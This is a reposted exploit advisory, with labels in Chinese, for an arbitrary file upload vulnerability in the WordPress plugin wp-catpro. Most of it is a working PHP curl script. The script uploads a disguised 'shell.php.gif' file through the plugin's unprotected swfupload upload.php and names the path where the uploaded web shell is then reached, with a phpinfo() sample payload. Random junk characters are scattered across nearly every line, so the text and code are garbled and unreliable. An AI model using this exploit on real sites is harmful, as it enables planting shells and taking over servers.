Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
, g/ L+ q% b( U: k7 D* S( x6 E#-----------------------------------------------------------------------. q$ _* Q7 H& k- A" @+ A* @( d5 W
& ?1 O% v9 P4 }7 I作者 => Zikou-16& `' I1 b$ Y* |
邮箱 => zikou16x@gmail.com/ t! y0 _7 I; I+ ~
测试系统 : Windows 7 , Backtrack 5r3
9 A2 t: J g% E/ W下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
P% c3 p9 @, v3 o: ]/ \####/ S# O9 k4 F% U5 e: A3 @$ @
- ~6 u+ m F% c! n
#=> Exploit 信息:; ^( m4 p) N% Z$ H& L7 L9 U
------------------
@: S/ A, |! }* z/ w$ \# 攻击者可以上传 file/shell.php.gif
& T3 y$ t% W+ R' ?7 ]9 ]2 Y# ("jpg", "gif", "png") // Allowed file extensions; B2 P; n+ p9 L$ F' T* I! y
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)0 y1 K* E3 W: G5 r* H: G0 `3 N
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)2 [& q; E7 ^- f4 \4 i' @& I
------------------' j# s1 T* D1 s4 Q7 `
' r2 X F7 [5 R8 {" K$ I; r( y#=> Exploit8 e3 W" i3 ?& q% j
-----------# S% W- i9 h7 u d
<?php
' y. u0 y4 g& {/ {+ _* b$ x
% m3 ~" S. X6 U( t6 e4 W$uploadfile="zik.php.gif";
7 x- W# l |0 I4 Z+ A* X$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");% [: |4 _! L# M0 X% M4 o7 ` p
curl_setopt($ch, CURLOPT_POST, true);/ f& ]; C! n7 X/ e) j+ V8 a
curl_setopt($ch, CURLOPT_POSTFIELDS,: x6 s5 D# Z3 Q9 M$ L
array('Filedata'=>"@$uploadfile",
( Y, p$ z; h" e6 l: w'folder'=>'/wp-content/uploads/catpro/'));
5 u' f: O* \" h2 ecurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- k F* F' [. g/ X1 b& z$postResult = curl_exec($ch);4 T# k, Y, u9 y& m5 X5 Q( U0 b* l
curl_close($ch);
) D1 A% M5 [ v7 @; z4 K 2 v) g* P. _: t+ v$ c. T
print "$postResult";
% ?% t% i; {" L6 q$ V ; R2 e+ f* s; u- Q( Y. e8 v! v
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
, u3 @ V2 @6 S$ n: A4 T; s# Z ?>! a) x# T! O# K- J- l0 y; A6 r$ a
<?php
( e3 i/ W; @1 q: K% t4 Qphpinfo();4 V; T. S/ x7 d0 Q+ L3 {
?> |